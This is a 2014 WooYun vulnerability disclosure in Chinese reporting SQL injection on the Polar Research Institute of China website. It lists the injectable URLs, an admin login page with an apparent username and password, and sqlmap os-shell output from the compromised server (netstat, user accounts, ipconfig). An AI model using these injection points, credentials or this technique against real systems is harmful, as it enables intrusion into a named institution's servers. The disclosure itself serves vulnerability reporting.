漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-064170
漏洞标题：中国极地研究中心存在SQL注入漏洞
相关厂商：中国极地研究中心
漏洞作者： GivePass
提交时间：2014-06-09 17:46
修复时间：2014-07-24 17:48
公开时间：2014-07-24 17:48
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-06-09： 细节已通知厂商并且等待厂商处理中
2014-06-14： 厂商已经确认，细节仅向厂商公开
2014-06-24： 细节向核心白帽子及相关领域专家公开
2014-07-04： 细节向普通白帽子公开
2014-07-14： 细节向实习白帽子公开
2014-07-24： 细节向公众公开
简要描述：
中国极地研究中心存在SQL注入漏洞。
详细说明：
网站过滤不严格，存在SQL注入漏洞，可执行任意命令。
漏洞证明：
http://www.pric.gov.cn/detail/category.aspx?c=4 /*注入点*/
http://www.pric.gov.cn/annual201309/admin_index.asp /*管路员登陆*/
admin annual2011
http://www.pric.gov.cn//detail/gg.aspx?id=2234437f-a08f-434b-845b-21f2cbc9360b /*注入点*/
站点信息：
Windows 2008 R2+ASP.NET
Microsoft IIS 7.5
ASP.NET 2.0.50727
Microsoft SQL Server 2008
os-shell> netstat -an
[10:14:36] [INFO] retrieved: 494
[10:14:41] [INFO] retrieved:
[10:14:48] [INFO] retrieved: 活动连接
[10:15:53] [INFO] retrieved:
[10:15:59] [INFO] retrieved: 协议 本地地址
[10:18:23] [INFO] retrieved: TCP 0.0.0.0:80
[10:19:51] [INFO] retrieved: TCP 0.0.0.0:135
[10:21:32] [INFO] retrieved: TCP 0.0.0.0:445
[10:23:07] [INFO] retrieved: TCP 0.0.0.0:1433
[10:24:43] [INFO] retrieved: TCP 0.0.0.0:6689
[10:26:16] [INFO] retrieved: TCP 0.0.0.0:8001
[10:27:52] [INFO] retrieved: TCP 0.0.0.0:8081
[10:29:25] [INFO] retrieved: TCP 0.0.0.0:47001
[10:31:05] [INFO] retrieved: TCP 0.0.0.0:49152
[10:32:49] [INFO] retrieved: TCP 0.0.0.0:49153
[10:34:27] [INFO] retrieved: TCP 0.0.0.0:49154
[10:36:04] [INFO] retrieved: TCP 0.0.0.0:49159
[10:37:45] [INFO] retrieved: TCP 0.0.0.0:49162
[09:50:31] [INFO] retrieved: 16
[09:50:36] [INFO] retrieved:
[09:50:42] [INFO] retrieved: \\ 的用户帐户
[09:52:07] [INFO] retrieved:
[09:52:13] [INFO] retrieved: -------------------------------------------------------------------------------
[09:56:18] [INFO] retrieved: Administrator
[09:57:25] [INFO] retrieved: 命令运行完毕，但发生一个或多个错误。
[10:50:33] [INFO] retrieved: Windows IP 配置
[10:51:51] [INFO] retrieved:
[10:51:57] [INFO] retrieved:
[10:52:03] [INFO] retrieved: 以太网适配器 本地连接:
[10:54:47] [INFO] retrieved:
[10:54:53] [INFO] retrieved: 连接特定的 DNS 后缀 . . . . . . . :
[10:57:57] [INFO] retrieved: IPv4 地址 . . . . . . . . . . . . : 192.168.10.64
[11:00:59] [INFO] retrieved: 子网掩码 . . . . . . . . . . . . : 255.255.255.0
[11:04:48] [INFO] retrieved: 默认网关. . . . . . . . . . . . . : 192.168.10.2
[11:08:08] [INFO] retrieved: 隧道适配
[11:15:53] [INFO] retrieved: 媒体状态 . . . . . . . . . . . . : 媒体已断开
[11:19:53] [INFO] retrieved: 连接特定的 DNS 后缀 . . . . . . . :
[11:23:00] [INFO] retrieved: 隧道适配器 Teredo Tunneling Pseudo-Interface:
[11:26:10] [INFO] retrieved: 连接特定的 DNS 后缀 . . . . . . . :
[11:29:30] [INFO] retrieved: IPv6 地址 . . . . . . . . . . . . : 2001:0:9d38:90d7:34c9:2734:3f57:f5bf
[11:33:32] [INFO] retrieved: 本地链接 IPv6 地址. . . . . . . . : fe80::34c9:2734:3f57:f5bf%12
[11:37:50] [INFO] retrieved: 默认网关. . . . . l. . . . . . . . : ::
修复方案：
严格过滤输入,关闭危险的存储过程.
版权声明：转载请注明来源 GivePass@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：11
确认时间：2014-06-14 09:37
厂商回复：
最新状态：
暂无